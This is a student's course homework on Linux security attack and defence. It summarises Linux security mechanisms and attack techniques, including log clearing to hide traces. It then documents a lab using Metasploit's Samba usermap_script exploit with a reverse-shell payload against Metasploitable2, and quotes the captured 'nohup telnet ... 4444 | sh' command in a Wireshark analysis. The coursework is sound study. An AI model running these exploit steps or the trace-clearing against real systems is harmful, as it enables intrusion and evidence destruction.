20199128 2019-2020-2 《网络攻防实践》第八周作业

20199128 2019-2020-2 《网络攻防实践》第八周作业

这个作业属于哪个课程 《网络攻防实践》
这个作业的要求在哪里 《网络攻防实践》第八周作业
这个作业在哪个具体方面帮助我实现目标 学习Windows操作系统安全攻防相关知识
作业正文.... 见正文
其他参考文献 见参考文献

1.实践内容

1.1Linux系统结构

  • Linux进程与线程管理机制:Linux采用抢占式多用户进程模式,多个进程并发活动,由内核的进程管理模块来负责调度硬件资源进行使用,进程作为最基本的调度单元,维护一个进程控制块结构,由内核schedule进程调度函数来依据进程优先级和CPU等资源情况来选择进程进行执行。
  • Linux的内存管理机制:Linux的内存管理模块(MM)允许多个进程安全地共享物理内存区域。Linux支持虚拟内存管理。
  • Linux的文件系统管理机制:使用了虚拟文件管理VFS机制,使得其能够支持数十种不同类型的逻辑文件系统,且为用户进程提供了一组通用的文件系统调用函数,可以对不同文件系统中的文件进行统一操作。
  • Linux的设备控制机制:Linux内核中处理或者管理硬件控制器的软件叫做设备驱动程序。Linux的一个基本特点是抽象了设备的处理,所有硬件设备都像常规文件一样看待。Linux支持三类硬件设备:字符设备、块设备和网络设备。
  • Linux系统的网络机制:Linux内核中的网络模块提供了对各种网络标准的存取和各种网络硬件的支持。网络接口可分为网络协议栈和网络驱动程序。网络协议栈实现每一种可能的网络传输协议;网络设备驱动程序负责与硬件设备通信,每一种硬件设备都有相应的设备驱动程序。
  • Linux的系统调用机制:Linux提供了系统调用接口,允许应用程序透过接口访问硬件设备和其他系统资源,这有助于保证Linux系统的稳定可靠和安全,并为用户空间提供了一种统一的抽象接口,有助于应用程序的跨平台移植。

1.2Linux操作系统安全机制

1.2.1Linux身份认证机制

  • 用户的角色类型:Root根用户(权限至高无上)、普通用户(执行权限受限)、系统用户(不能登录系统但不可或缺)。
  • Linux的本地登录用户认证机制:用户在控制台登录的认证过程。
  • Linux的远程登录用户认证机制:基于口令的身份认证和基于非对称密钥的身份认证。
  • Linux的统一身份认证中间件——PAM:Linux系统提供的一种验证用户身份的标准方法。通过提供一些动态链接库和一套统一的API,将系统提供的服务和该服务的认证方式分开。系统管理员通过PAM配置文件来制定身份认证策略。支持认证管理、账户管理、密码管理、会话管理。

1.2.2Linux授权与访问控制机制

  • 特权:
    • SUID权限允许可执行文件在运行时刻从运行者的身份提升至文件所有者权限,可以任意存取文件所有者能使用的全部系统资源
    • SGID在程序执行时以所有者的组的权限进行运行,该程序就可以任意存取整个用户组能够使用的系统资源
  • 不足:只能将用户分为所有者、所有者所在组和其他用户这三种类别分配权限,而无法做到更细粒度的权限控制。

1.2.3Linux安全审计机制

  • 连接时间日志:由多个程序执行,使系统管理员能够跟组谁在何时登录到系统。
  • 进程统计日志:当一个进程终止时,为每个进程往进程统计文件中写一个记录,目的是为系统的基本服务提供命令使用统计。
  • 错误日志记录:由通用日志记录服务执行,报告值得注意的事件。
  • 审计守护进程:可以监控用户空间程序向内核发起的所有系统调用。

1.3Linux系统远程攻防技术

1.3.1Linux远程口令字猜测攻击

通过字典攻击、暴力破解等方式来撒网式攻击弱口令系统。防范措施如下

  • 确保每个用户都有自己的有效账户和口令字,而不是使用一个账户。
  • 特权账户应避免远程直接登录,只能在本地登录。
  • 口令长度至少达到8位,包含字母、数字和标点符号。
  • 对多次认证失败进行纪录,并在多次无效登录之后断掉连接
  • 不要再自己登录的所有系统上都使用相同的口令字
  • 并要笔录自己的口令字
  • 使用基于公开密钥证书的身份认证机制。
  • 修改网络服务的默认端口。

1.3.2Linux网络服务远程渗透攻击

防范措施:

  • 禁用所有不需要的网络服务
  • 选择更加安全的网络协议与服务软件,并使用最佳安全实践进行部署
  • 及时更新网络服务版本
  • 使用xinetd、防火墙为Linux网络服务添加网络访问控制机制
  • 建立入侵检测与应急响应计划流程

1.3.3攻击LInux客户端程序和用户

1.3.4攻击Linux路由器和监听器

Linux系统作路由器和监听器网络设备时,在进行路由转发或数据包嗅探时,遭受的特殊数据包攻击。

1.4Linux系统本地安全攻防技术

1.4.1本地特权提升

途径:

  • 破解Root用户的口令,执行su或sudo命令提权
  • 发掘利用su和sudo程序中的安全漏洞
  • 攻击用户态SUID特权提升漏洞、攻击Linux内核代码特权提升漏洞
  • 从系统中搜索全局可写的敏感文件与目录位置加以利用
    防范:
  • 安装软件时评估风险
  • 安全的配置系统
  • 使用SELinux等安全增强模块

1.4.2Linux系统上的消踪灭迹

通过对message、auth、secure和xferlog等日志文件进行修改做到日志的清理;通过对.bahs_history文件的清理,清理shell的命令痕迹。
应对:

  • 将日志信息写到难以修改的媒介上(如支持只许添加标志扩展属性的文件系统)
  • 使用syslog网络日志机制把关键日志发送到严密防护的安全日志服务器上。

1.4.3Linux系统远程控制后门程序

将linux原有的远程登录和控制软件替换,使具有后门功能,从而取得对系统的长期持久控制。
类型:特洛伊木马化的系统程序、命令行后门工具和图形化后门工具。

2.实践过程

2.1使用Metasploit进行Linux远程渗透攻击

使用Metasploit渗透测试软件,攻击Linux靶机上的Samba服务usermap_script 安全漏洞,获取目标Linux靶机的主机访问权限。实践步骤如下:

(1)启动Metasploit软件,可根据个人喜好使用msfconsole. msfgui. msfweb之一;

(2)使用exploit: exploit/multi/samba/usermap_script 渗透攻击模块;

(3)选择攻击PAYLOAD为远程Shell, (正向或反向连接均可);

(4)设置渗透攻击参数(RHOST, LHOST,TARGET 等);

(5)执行渗透攻击:

(6)查看是否正确得到远程Shell,并查看获得的权限。

攻击机kali:192.168.200.2
靶机Metasploitable2:192.168.200.125

  1. 启动msfconsole
  2. 使用渗透攻击模块use exploit/multi/samba/usermap_script
  3. 设置攻击载荷set PAYLOAD cmd/unix/reverse
  4. 设置参数set LHOST 192.168.200.2 ,set RHOTST 192.168.200.125和set TARGET 0
  5. 执行exploit
  6. 查看获取的权限whoami


2.2攻防对抗实验

攻击方使用Metasploit渗透软件针对Linux Metasploitable靶机试试网络攻击,防御方在Metasploitable上使用wireshark捕获攻击流
攻击方:使用Metasploit选择Metasploitable靶机中发现的漏洞进行渗透攻击,获得远程控制权,并尝试进一步获得Root权限。
防守方:使用wireshark监听获得网络攻击的数据包文件,并结合wireshark分析攻击过程,获得攻击者的IP地址,目标IP端口、攻击发起时间、攻击利用漏洞、使用shellcode,以及成功之后在本地执行命令输入等信息

攻击过程如2.1
以下为wireshark补包结果:

攻击者IP地址:192.168.200.2
防守方IP地址:192.168.200.125
目标IP端口:36760
攻击发起时间:Apr 21, 2020 10:46:36.956323089
nohup是no hang up的缩写,不挂断地运行命令;telnet 192.168.200.2 4444表明数据是通过4444号通信端口管控传入攻击机的;sh是linux中运行shell的命令。


3.学习中遇到的问题及解决

  • 问题1:kali ping不到靶机
  • 问题1解决方案: 网络问题

4.实践总结

对利用msfconsole进行渗透攻击的巩固吧。

参考资料

猜你喜欢

转载自www.cnblogs.com/chaolu/p/12748741.html